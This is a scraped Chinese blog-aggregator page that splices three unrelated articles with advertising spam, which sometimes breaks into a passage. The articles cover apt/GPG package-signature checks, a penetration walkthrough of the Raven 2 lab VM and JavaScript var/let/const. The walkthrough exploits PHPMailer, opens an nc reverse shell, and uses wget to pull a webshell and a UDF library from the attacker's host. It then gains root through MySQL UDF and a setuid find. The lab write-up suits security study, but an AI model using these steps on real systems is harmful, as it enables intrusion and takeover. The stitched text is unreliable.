Pre-Depends: dpkg (>= 1.14.0)
Depends: ca-certificates, fonts-liberation, libappindicator3-1, libasound2 (>= 1.0.16), libatk-bridge2.0-0 (>= 2.5.3), libatk1.0-0 (>= 2.2.0), libatspi2.0-0 (>= 2.9.90), libc6 (>= 2.16), libcairo2 (>= 1.6.0), libcups2 (>= 1.4.0), libdbus-1-3 (>= 1.5.12), libdrm2 (>= 2.4.38), libexpat1 (>= 2.0.1), libgbm1 (>= 8.1~0), libgcc1 (>= 1:3.0), libgdk-pixbuf2.0-0 (>= 2.22.0), libglib2.0-0 (>= 2.39.4), libgtk-3-0 (>= 3.9.10), libnspr4 (>= 2:4.9-2~), libnss3 (>= 2:3.22), libpango-1.0-0 (>= 1.14.0), libpangocairo-1.0-0 (>= 1.14.0), libx11-6 (>= 2:1.4.99.1), libx11-xcb1, libxcb-dri3-0, libxcb1 (>= 1.6), libxcomposite1 (>= 1:0.3-1), libxcursor1 (>> 1.1.2), libxdamage1 (>= 1:1.1), libxext6, libxfixes3 (>= 1:5.0), libxi6 (>= 2:1.2.99.4), libxrandr2 (>= 2:1.2.99.3), libxrender1, libxss1, libxtst6, wget, xdg-utils (>= 1.0.2)
Recommends: libu2f-udev, libvulkan1
Provides: www-browser
Priority: optional
Section: web
Filename: pool/main/g/google-chrome-stable/google-chrome-stable_81.0.4044.129-1_amd64.deb
Size: 67137920
SHA256: fe140112304b243240a5f6b287105fd5b7d6e48c6ff682194a62c8d08fd0ed5b
SHA1: f5f984d1a1419b803a7a26dbda1d04fb8313c4b3
# md5
MD5sum: 3705bb8b32a9b4cfcc4440c14966acbc
Description: The web browser from Google
 Google Chrome is a browser that combines a minimal design with sophisticated technology to make the web faster, safer, and easier.

Package: google-chrome-unstable
...
提取deb文件的MD5
lfp@legion:/var/lib/apt/lists$ sed -n "s/MD5sum: //p" dl.google.com_linux_chrome_deb_dists_stable_main_binary-amd64_Packages 
9c6634a7bbda0cedb2d218410c0a06c2
3705bb8b32a9b4cfcc4440c14966acbc
fe9bc72b7cb12549a69187c0e393f930
從apt緩存中提取chrome信息
lfp@legion:/var/lib/apt/lists$ apt-cache show chromium-browser | sed -n "s/MD5sum: //p"
# 沒有匹配的md5,打開瀏覽器,查看chrome的版本信息是:版本 81.0.4044.129(正式版本) (64 位)
# apt-cache show chromium-browser 显示信息如下,沒有找到同一個版本,於是從Google下載了一個最新的安裝包
# Package: chromium-browser
# Filename: pool/universe/c/chromium-browser/chromium-browser_80.0.3987.163-0ubuntu0.18.04.1_amd64.deb
6dcd58431410a691c847a709765f7248
dfd394ff98654f1e0a97d204f7343ab1
計算deb文件的MD5

從Google那裡下載了一個deb安裝包

lfp@legion:~/Downloads$ md5sum google-chrome-stable_current_amd64.deb 
3705bb8b32a9b4cfcc4440c14966acbc  google-chrome-stable_current_amd64.deb
deb文件可信

3705bb8b32a9b4cfcc4440c14966acbc 一致

nodejs驗證

特點

  1. nodejs 是InRelease文件,內聯簽名
  2. 使用本地密鑰環驗證(保存在 /etc/apt/trusted.gpg)

InRelease文件

包含Package文件的MD5

驗證簽名
lfp@legion:/var/lib/apt/lists$ gpgv --keyring /etc/apt/trusted.gpg deb.nodesource.com_node%5f12.x_dists_bionic_InRelease 
gpgv: 簽名建立於 2020年04月30日 星期四 00時53分13秒 CST
gpgv:                使用 RSA 密鑰 9FD3B784BC1C6FC31A8A0A1C1655A0AB68576280
gpgv: 完好的簽名,來自於“NodeSource <gpg@nodesource.com>”

lfp@legion:/var/lib/apt/lists$ vim deb.nodesource.com_node%5f12.x_dists_bionic_InRelease

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Origin: Node Source
Label: Node Source
Codename: bionic
Date: Wed, 29 Apr 2020 16:53:13 UTC
Architectures: i386 amd64 armhf arm64
Components: main
Description: Apt Repository for the Node.JS 12.x Branch
MD5Sum:
 d41d8cd98f00b204e9800998ecf8427e 0 main/binary-i386/Packages
 7029066c27ac6f5ef18d660d5741979a 20 main/binary-i386/Packages.gz
 cf52b42ebdc37bfabc86a5db93fcbdbc 130 main/binary-i386/Release
 # amd64
 6d2cd675d3c647d51a8ee0349754a976 1195 main/binary-amd64/Packages
 608cc59026b960ec64b97bcbeaa68003 765 main/binary-amd64/Packages.gz
 049fa528953b36ae91d8fe360618d46f 131 main/binary-amd64/Release
 14ce3c619a83d518ee3e433dedbdf26a 1216 main/binary-armhf/Packages
 219c6a1d7d300d409d4bb8249911d58f 775 main/binary-armhf/Packages.gz
 8064ccb91382a3c1cbade0c462ee18b3 131 main/binary-armhf/Release
 45ad97bad6053d65a462c352219fa962 1195 main/binary-arm64/Packages
 8afb33e583bf54aabaeb9b3378c3ca26 766 main/binary-arm64/Packages.gz
 670d019ad65bf455298c252afc334bff 131 main/binary-arm64/Release
 d41d8cd98f00b204e9800998ecf8427e 0 main/source/Sources
 7029066c27ac6f5ef18d660d5741979a 20 main/source/Sources.gz
 e4627d3fe224f8b3c07d9a69c88bedd2 132 main/source/Release

提取Package文件的MD5
sed -n "s,main/binary-amd64/Packages$,,p" deb.nodesource.com_node%5f12.x_dists_bionic_InRelease 
 6d2cd675d3c647d51a8ee0349754a976 1195 
 4615cf89691b8c95c052a84b09a1d24079268403 1195 
 8ec2d3674dc82a29ca759a2cf59cfe67a2b6c3a42106c523b11f93791a1e538e 1195 
計算Package文件的MD5
lfp@legion:/var/lib/apt/lists$ md5sum deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages 
6d2cd675d3c647d51a8ee0349754a976  deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages
Package文件可信

6d2cd675d3c647d51a8ee0349754a976 一致

Package文件

包含deb文件的MD5

Package: nodejs
Version: 12.16.3-1nodesource1
Architecture: amd64
Maintainer: Chris Lea <chl@nodesource.com>
Installed-Size: 87857
Depends: libc6 (>= 2.17), libgcc1 (>= 1:3.4), libstdc++6 (>= 4.8), python-minimal, ca-certificates
Conflicts: nodejs-dev, nodejs-legacy, npm
Replaces: nodejs-dev (<= 0.8.22), nodejs-legacy, npm (<= 1.2.14)
Provides: nodejs-dev, nodejs-legacy, npm
Homepage: https://nodejs.org
Priority: optional
Section: web
Filename: pool/main/n/nodejs/nodejs_12.16.3-1nodesource1_amd64.deb
Size: 17989662
SHA256: b2d1a6327f5a34c097d7fb5eeed8357d9758c09b30e356f45dfa01cc24103108
SHA1: de90a1776ee9995b3121ab68f49fef3cb110ce65
MD5sum: 9f87646d2782a572da1f965cf96f974f
Description: Node.js event-based server-side javascript engine
 Node.js is similar in design to and influenced by systems like
 Ruby's Event Machine or Python's Twisted.
 .
 It takes the event model a bit further - it presents the event
 loop as a language construct instead of as a library.
 .
 Node.js is bundled with several useful libraries to handle server tasks :
 System, Events, Standard I/O, Modules, Timers, Child Processes, POSIX,
 HTTP, Multipart Parsing, TCP, DNS, Assert, Path, URL, Query Strings.

提取deb文件的MD5
lfp@legion:/var/lib/apt/lists$ sed -n "s/MD5sum: //p" deb.nodesource.com_node%5f12.x_dists_bionic_main_binary-amd64_Packages 
9f87646d2782a572da1f965cf96f974f
從apt緩存中提取nodejs信息
lfp@legion:/var/lib/apt/lists$ apt-cache show nodejs | sed -n "s/MD5sum: //p"
# 包含不同版本的信息
9f87646d2782a572da1f965cf96f974f
0e6643fbe872255dbfaebd5449813d8f
02d7a42a30a7d72b78d9bc4a7ceb5a5a
3930b41c309e69cc0bd3737cfc1e7d31
計算deb文件的md5
lfp@legion:/var/lib/apt/lists$ md5sum /var/cache/apt/archives/nodejs_12.16.3-1nodesource1_amd64.deb 
9f87646d2782a572da1f965cf96f974f  /var/cache/apt/archives/nodejs_12.16.3-1nodesource1_amd64.deb
deb文件可信

9f87646d2782a572da1f965cf96f974f 一致

smplayer 驗證

特點

  1. smplayer 是InRelease文件,內聯簽名
  2. 使用第三方密鑰環去驗證(保存在/etc/apt/trusted.gpg.d目錄中)

驗證流程

  1. 簽名

    lfp@legion:/var/lib/apt/lists$ gpgv --keyring /etc/apt/trusted.gpg.d/rvm_ubuntu_smplayer.gpg ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_InRelease 
    gpgv: 簽名建立於 2020年04月13日 星期一 23時45分47秒 CST
    gpgv:                使用 RSA 密鑰 A7E13D78E4A4F4F4
    gpgv: 完好的簽名,來自於“Launchpad PPA named smplayer for rvm”
    
  2. Package

    MD5 7aa109a3525c661e783e9b943e4b46fa

    lfp@legion:/var/lib/apt/lists$ sed -n "s,main/binary-amd64/Packages$,,p" ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_InRelease 
     7aa109a3525c661e783e9b943e4b46fa             2909 
     29ca94a4f3a57c328b31789bce66cd6bbaa819e2             2909 
     6586e6ef8389cddb47ae0f7f7761ddbfedab35ed3ffbb3b10b4a1f91264577ae             2909 
    
    lfp@legion:/var/lib/apt/lists$ md5sum ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_main_binary-amd64_Packages 
    7aa109a3525c661e783e9b943e4b46fa  ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_main_binary-amd64_Packages
    
  3. deb

    MD5 601afc2fe220b608acb1e5b920afca96

    lfp@legion:/var/lib/apt/lists$ sed -n "s/MD5sum: //p" ppa.launchpad.net_rvm_smplayer_ubuntu_dists_bionic_main_binary-amd64_Packages 
    601afc2fe220b608acb1e5b920afca96
    b569cc540016f0b04fae5dd15a1434eb
    4eb1111c66b5087e7489cf7526321a9e
    45a466ca713b566f920d9e6414212552
    
    lfp@legion:/etc/apt/trusted.gpg.d$ apt-cache show smplayer | grep -E 'MD5|Filename'
    Filename: pool/main/s/smplayer/smplayer_20.4.2-1~bionic1_amd64.deb
    MD5sum: 601afc2fe220b608acb1e5b920afca96
    Filename: pool/universe/s/smplayer/smplayer_18.2.2~ds0-1_amd64.deb
    MD5sum: 7fdfc2f64d835cf5f7a38035523379a2
    
    lfp@legion:/var/cache/apt/archives$ md5sum smplayer_20.4.2-1~bionic1_amd64.deb 
    601afc2fe220b608acb1e5b920afca96  smplayer_20.4.2-1~bionic1_amd64.deb
    

沒有公鑰或簽名無效測試

  1. 本地沒有該公鑰

  2. 本地公鑰過期

    猜測:此時軟件發布者應該會創建一個新的子密鑰來簽名,而本地公鑰是過期的,情況類似於用一個錯誤的密鑰驗證簽名文件

    # 使用錯誤的密鑰去驗證簽名文件
    lfp@legion:~$ gpgv --keyring /etc/apt/trusted.gpg.d/sogou-archive-keyring.gpg /var/lib/apt/lists/typora.io_linux_._InRelease 
    gpgv: 簽名建立於 2020年03月04日 星期三 00時11分02秒 CST
    gpgv:                使用 RSA 密鑰 4AC441BE68B4ADAB7439FBF9BA300B7755AFCFAE
    gpgv:                issuer "abner@typora.io"
    gpgv: 無法檢查簽名:沒有公鑰
    

相關問題

EXPKEYSIG 沒有数字簽名

問題:執行apt update 出現如下錯誤

W: GPG 錯誤:https://dl.yarnpkg.com/debian stable InRelease: 下列簽名無效: EXPKEYSIG 23E7166788B63E1E Yarn Packaging yarn@dan.cx
E: 倉庫 “https://dl.yarnpkg.com/debian stable InRelease” 沒有数字簽名。
N: 無法安全地用該源進行更新,所以默認禁用該源

原因:

安裝第三方軟件的時候會同時安裝軟件倉庫地址以及密鑰,上述問題是因為本地的密鑰過期了,需要更新

https://github.com/yarnpkg/yarn/issues/7866#issue-558663837

辦法:更新密鑰

  1. 找到該軟件安裝方法中添加密鑰的方式(如yarn的安裝步驟一),再次執行即可

  2. 直接搜索密鑰添加到密鑰列表

    apt-key adv --keyserver <server_url> --recv-key <keyId>
    
  3. 到服務器找密鑰手動安裝

    1. 獲取 pub_key的ID

      23E7166788B63E1E

    2. 到密鑰服務器上以十六進制形式搜索

      http://keyserver.ubuntu.com/

      0x23E7166788B63E1E

    3. 單擊 pub鏈接,複製密鑰內容並保存到本地,以txt格式

      key.txt

      密鑰內容

    4. 終端添加密鑰

      sudo apt-key add key.txt

      ok

    5. 更新

      sudo apt update

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

Raven 2 靶機滲透_網頁設計公司

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

前言

近幾天比較閑,在上周也閑着無聊跑去盒子挖了一周的洞。這周又開始不知道幹些啥了,所以就找個靶機來玩玩。

Raven 2 靶機滲透

搭建完環境后,發現並沒有登錄賬號和密碼,使用御劍高速掃描,先掃描機器的ip和端口,看看有沒有啥能利用到的。

發現了192.168.27.136 ip 並且80端口和22端口是開啟的,首先先從80端口,嘗試 來嘗試掃描目錄。

掃描目錄時,發現了/vendor/目錄並且有個wordpress 這時候就可以來嘗試一下wp的漏洞了,直接上wpscan 來掃描,沒有就放棄。

連接超時!!! 果斷放棄!!!

但是作為一個年輕小伙子怎麼能說放棄,要堅持!!![手動狗頭][手動狗頭]

翻找一下剛剛的目錄看看還能不能找到啥東西,當我點開/vendor/目錄的時候,發現存在一個目錄遍歷漏洞。

點開readme.md 發現是個PHPMailer

由於以前也沒見過,上百度查了一下才知道是個發送电子郵件的函數包。

去百度查找了一下 居然有命令執行漏洞。

為了方便,直接就在kali裏面的漏洞庫去查找exp

searchsploit phpmailer

這裡有好幾個exp,但是也不能一個一個去試,利用條件不一樣,還得去查找的他版本。
在我開啟vendor/version文件的時候,直接就显示了版本

確定版本后就可以直接下載exp了,

searchsploit -m 40974.py

首先查看一下代碼。

這裏的garget 和socket的connect的ip需要修改還有需要修改的是email字典後面的路徑,這個是寫入地址的絕對路徑。

那麼我們還需要查找他的絕對路徑。

http://192.168.27.136/vendor/PATH

文件裏面查找到了路徑,而且拿下了一個flag。

這裏並不打算去拿flag,而是直接拿權限[手動滑稽][手動滑稽]。

現在就可以開始來改我們的exp了

這裏把target改成了

http://192.168.27.136/contact.php
這個漏洞是基於contact.php的頁面產生的漏洞,所以地址得帶上這個頁面。

在運行exp的時候,py爆了個錯誤,說我的編碼有錯誤,我立馬在頭部加了一個utf-8的默認編碼方式,但是依然不行,肯定是這個工具啟動提示的時候,輸出了特殊字符所以才會這樣,把它刪掉就好了[手動滑稽][手動滑稽]。

這裏直接就執行成功,我們去訪問contact.php就會生成一個backdoor.php,訪問后可以直接反彈shell了
kali啟動一個nc監聽

nc -lvp 4444

訪問backdoor.php 反彈成功

nc 模式的shell不支持su交互,使用py進入到偽終端

python -c “import pty;pty.spawn(‘/bin/bash’)”

輸入whoami發現,是個www的權限,權限比較低,還需要進行提權的操作,先來查看一下開放的端口

netstat -ano

發現他的3306端口是開放的,mysql 5.6以下的默認安裝為system權限或者是root權限。這裏嘗試使用udf提權,先來翻找他的mysql密碼,
一般網站需要對數據庫進行查詢操作的話都是需要連接數據庫的,基本上都會去包含數據庫的連接文件,而數據庫連接文件一般命名為config.inc.php,config.php。
這裏就來找一下,進入wordpress目錄看到wp-config.php來查看一下。

翻找到了root賬號的密碼為:

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

R@v3nSecurity

然後就可以嘗試去udf提權,但是我這嫌nc比較麻煩,所以還是寫入一個一句話木馬。

echo “

寫入的時候發現post被過濾掉了,後來嘗試get和requsts也是一樣。

那麼就直接換個思路,直接讓他去請求遠程的文件進行下載

放在服務器上面的時候,不能一腳本格式進行上傳,不然腳本會直接運行,將他命名為cmd.txt文件,然後搭建臨時web服務

php -S 0.0.0.0:88 -t /root

使用php啟動web服務 設置根目錄為root

wget http://192.168.3.68:88/cmd.txt

請求文件

mv cmd.txt cmd.php
把文件改名為php後綴,然後使用蟻劍進行連接。

連接成功后,使用管理數據功能,進行mysql連接,查詢mysql版本信息。

這裏還有幾個注意事項,在mysql 4.1版本前任何的dll文件的函數都能導入到mysql裏面去讓mysql調用,
mysql 4.1-5.0 版本中,對註冊的dll位置做了限制,創建函數時候對應的dll不能包含斜杠或者反斜杠,
不能是絕對路徑,所以會將dll導出到systm32目錄下,去繞過這個限制。
在mysql5.1版本后,創建函數的dll只能放在mysql的plugin目錄下,也就是插件目錄

使用mysql語句來查看plugin目錄位置

show variables like ‘%plugin%’;

現在我們還得下載一個linux版本的udf

searchsploit udf

searchsploit -m 1518.c

從漏洞庫把udf下載下來后,是個c文件還得使用gcc進行編譯后才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

編譯完成后,使用wget遠程下載

wget http://192.168.3.68:88/udf.so

數據庫創建表:

create table nice(line blob);

表中插入udf.so的數據

insert into nice values(load_file(‘/var/www/html/udf.so’));

插入完成后,再使用sql語句從nice表中導出數據到plugin目錄下

select * from nice into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;

導出完成后,這裏就可以直接創建一個函數,來進行執行命令了

create function do_system returns integer soname ‘udf.so’;

創建完成后可以查詢是否創建成功

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

touch finn

find finn -exec “/bin/sh” ;

whoami

提權成功。

cat flag4.txt

[手動狗頭][手動狗頭]flag真香

結尾

最近這感冒了,很難受,幹啥都沒精力,我想我還是需要妹子來溫暖我的心

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

深入理解JS:var、let、const的異同_網頁設計公司

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

透過選單樣式的調整、圖片的縮放比例、文字的放大及段落的排版對應來給使用者最佳的瀏覽體驗,所以不用擔心有手機版網站兩個後台的問題,而視覺效果也是透過我們前端設計師優秀的空間比例設計,不會因為畫面變大變小而影響到整體視覺的美感。

目錄

  • 序言
  • var 與 let 的區別
    • 作用域
    • 重複聲明
    • 綁定全局對象
    • 變量提升與暫存死區
  • let 與 const 異同
  • 參考

1.序言

var、let 和 const 都是 JavaScript 中用來聲明變量的關鍵字,並且 let 和 const 關鍵字是在 ES6 中才新增的。既然都是用來聲明變量的,那它們之間有什麼區別呢?讓我們來一探究竟。

2.var 與 let 的區別

(1)作用域

用 var 聲明的變量的作用域是它當前的執行上下文,即如果是在任何函數外面,則是全局執行上下文,如果在函數裏面,則是當前函數執行上下文。換句話說,var 聲明的變量的作用域只能是全局或者整個函數塊的。

而 let 聲明的變量的作用域則是它當前所處代碼塊,即它的作用域既可以是全局或者整個函數塊,也可以是 if、while、switch等用{}限定的代碼塊。

另外,var 和 let 的作用域規則都是一樣的,其聲明的變量只在其聲明的塊或子塊中可用。

示例代碼:

function varTest() {
  var a = 1;

  {
    var a = 2; // 函數塊中,同一個變量
    console.log(a); // 2
  }

  console.log(a); // 2
}

function letTest() {
  let a = 1;

  {
    let a = 2; // 代碼塊中,新的變量
    console.log(a); // 2
  }

  console.log(a); // 1
}

varTest();
letTest();

從上述示例中可以看出,let 聲明的變量的作用域可以比 var 聲明的變量的作用域有更小的限定範圍,更具靈活。

(2)重複聲明

var 允許在同一作用域中重複聲明,而 let 不允許在同一作用域中重複聲明,否則將拋出異常。

var 相關示例代碼:

var a = 1;
var a = 2;

console.log(a) // 2

function test() {
  var a = 3;
  var a = 4;
  console.log(a) // 4
}

test()

let 相關示例代碼:

if(false) {
  let a = 1;
  let a = 2; // SyntaxError: Identifier 'a' has already been declared
}
switch(index) {
  case 0:
    let a = 1;
  break;

  default:
    let a = 2; // SyntaxError: Identifier 'a' has already been declared
    break;
}

從上述示例中可以看出,let 聲明的重複性檢查是發生在詞法分析階段,也就是在代碼正式開始執行之前就會進行檢查。

(3)綁定全局對象

var 在全局環境聲明變量,會在全局對象里新建一個屬性,而 let 在全局環境聲明變量,則不會在全局對象里新建一個屬性。

示例代碼:

var foo = 'global'
let bar = 'global'

console.log(this.foo) // global
console.log(this.bar) // undefined

那這裏就一個疑問, let 在全局環境聲明變量不在全局對象的屬性中,那它是保存在哪的呢?

var foo = 'global'
let bar = 'global'

function test() {}

console.dir(test)

在Chrome瀏覽器的控制台中,通過執行上述代碼,查看 test 函數的作用域鏈,其結果如圖:

由上圖可知,let 在全局環境聲明變量 bar 保存在[[Scopes]][0]: Script這個變量對象的屬性中,而[[Scopes]][1]: Global就是我們常說的全局對象。

(4)變量提升與暫存死區

var 聲明變量存在變量提升,如何理解變量提升呢?

要解釋清楚這個,就要涉及到執行上下文和變量對象。

在 JavaScript 代碼運行時,解釋執行全局代碼、調用函數或使用 eval 函數執行一個字符串表達式都會創建並進入一個新的執行環境,而這個執行環境被稱之為執行上下文。因此執行上下文有三類:全局執行上下文、函數執行上下文、eval 函數執行上下文。

執行上下文可以理解為一個抽象的對象,如下圖:

Variable object:變量對象,用於存儲被定義在執行上下文中的變量 (variables) 和函數聲明 (function declarations) 。

Scope chain:作用域鏈,是一個對象列表 (list of objects) ,用以檢索上下文代碼中出現的標識符 (identifiers) 。

thisValue:this 指針,是一個與執行上下文相關的特殊對象,也被稱之為上下文對象。

一個執行上下文的生命周期可以分為三個階段:創建、執行、釋放。如下圖:

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

搬家費用:依消費者運送距離、搬運樓層、有無電梯、步行距離、特殊地形、超重物品等計價因素後,評估每車次單

而所有使用 var 聲明的變量都會在執行上下文的創建階段時作為變量對象的屬性被創建並初始化,這樣才能保證在執行階段能通過標識符在變量對象里找到對應變量進行賦值操作等。

而用 var 聲明的變量構建變量對象時進行的操作如下:

  • 由名稱和對應值(undefined)組成一個變量對象的屬性被創建(創建並初始化)
  • 如果變量名稱跟已經聲明的形式參數或函數相同,則變量聲明不會幹擾已經存在的這類屬性。

上述過程就是我們所謂的“變量提升”,這也就能解釋為什麼變量可以在聲明之前使用,因為使用是在執行階段,而在此之前的創建階段就已經將聲明的變量添加到了變量對象中,所以執行階段通過標識符可以在變量對象中查找到,也就不會報錯。

示例代碼:

console.log(a) // undefined

var a = 1;

console.log(a) // 1

let 聲明變量存在暫存死區,如何理解暫存死區呢?

其實 let 也存在與 var 類似的“變量提升”過程,但與 var 不同的是其在執行上下文的創建階段,只會創建變量而不會被初始化(undefined),並且 ES6 規定了其初始化過程是在執行上下文的執行階段(即直到它們的定義被執行時才初始化),使用未被初始化的變量將會報錯。

let and const declarations define variables that are scoped to the running execution context’s LexicalEnvironment. The variables are created when their containing Lexical Environment is instantiated but may not be accessed in any way until the variable’s LexicalBinding is evaluated. A variable defined by a LexicalBinding with an Initializer is assigned the value of its Initializer’s AssignmentExpression when the LexicalBinding is evaluated, not when the variable is created. If a LexicalBinding in a let declaration does not have an Initializer the variable is assigned the value undefined when the LexicalBinding is evaluated.

在變量初始化前訪問該變量會導致 ReferenceError,因此從進入作用域創建變量,到變量開始可被訪問的一段時間(過程),就稱為暫存死區(Temporal Dead Zone)。

示例代碼 1:

console.log(bar); // undefined
console.log(foo); // ReferenceError: foo is not defined

var bar = 1;
let foo = 2;

示例代碼 2:

var foo = 33;
{
  let foo = (foo + 55); // ReferenceError: foo is not defined
}

注:首先,需要分清變量的創建、初始化、賦值是三個不同的過程。另外,從 ES5 開始用詞法環境(Lexical Environment)替代了 ES3 中的變量對象(Variable object)來管理靜態作用域,但作用是相同的。為了方便理解,上述講解中仍保留使用變量對象來進行描述。

小結

  1. var 聲明的變量在執行上下文創建階段就會被「創建」和「初始化」,因此對於執行階段來說,可以在聲明之前使用。

  2. let 聲明的變量在執行上下文創建階段只會被「創建」而不會被「初始化」,因此對於執行階段來說,如果在其定義執行前使用,相當於使用了未被初始化的變量,會報錯。

3.let 與 const 異同

const 與 let 很類似,都具有上面提到的 let 的特性,唯一區別就在於 const 聲明的是一個只讀變量,聲明之後不允許改變其值。因此,const 一旦聲明必須初始化,否則會報錯。

示例代碼:

let a;
const b = "constant"

a = "variable"
b = 'change' // TypeError: Assignment to constant variable

如何理解聲明之後不允許改變其值?

其實 const 其實保證的不是變量的值不變,而是保證變量指向的內存地址所保存的數據不允許改動(即棧內存在的值和地址)。

JavaScript 的數據類型分為兩類:原始值類型和對象(Object類型)。

對於原始值類型(undefined、null、true/false、number、string),值就保存在變量指向的那個內存地址(在棧中),因此 const 聲明的原始值類型變量等同於常量。

對於對象類型(object,array,function等),變量指向的內存地址其實是保存了一個指向實際數據的指針,所以 const 只能保證指針是不可修改的,至於指針指向的數據結構是無法保證其不能被修改的(在堆中)。

示例代碼:

const obj = {
  value: 1
}

obj.value = 2

console.log(obj) // { value: 2 }

obj = {} // TypeError: Assignment to constant variable

4.參考

var – JavaScript | MDN

let – JavaScript – MDN – Mozilla

const – JavaScript – MDN – Mozilla

深入理解JavaScript系列(12):變量對象(Variable Object)

ES6 let 與 const

詳解ES6暫存死區TDZ

嗨,你知道 let 和 const 嗎?

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

節能減碳愛地球是景泰電動車的理念,是創立景泰電動車行的初衷,滿意態度更是服務客戶的最高品質,我們的成長來自於你的推薦。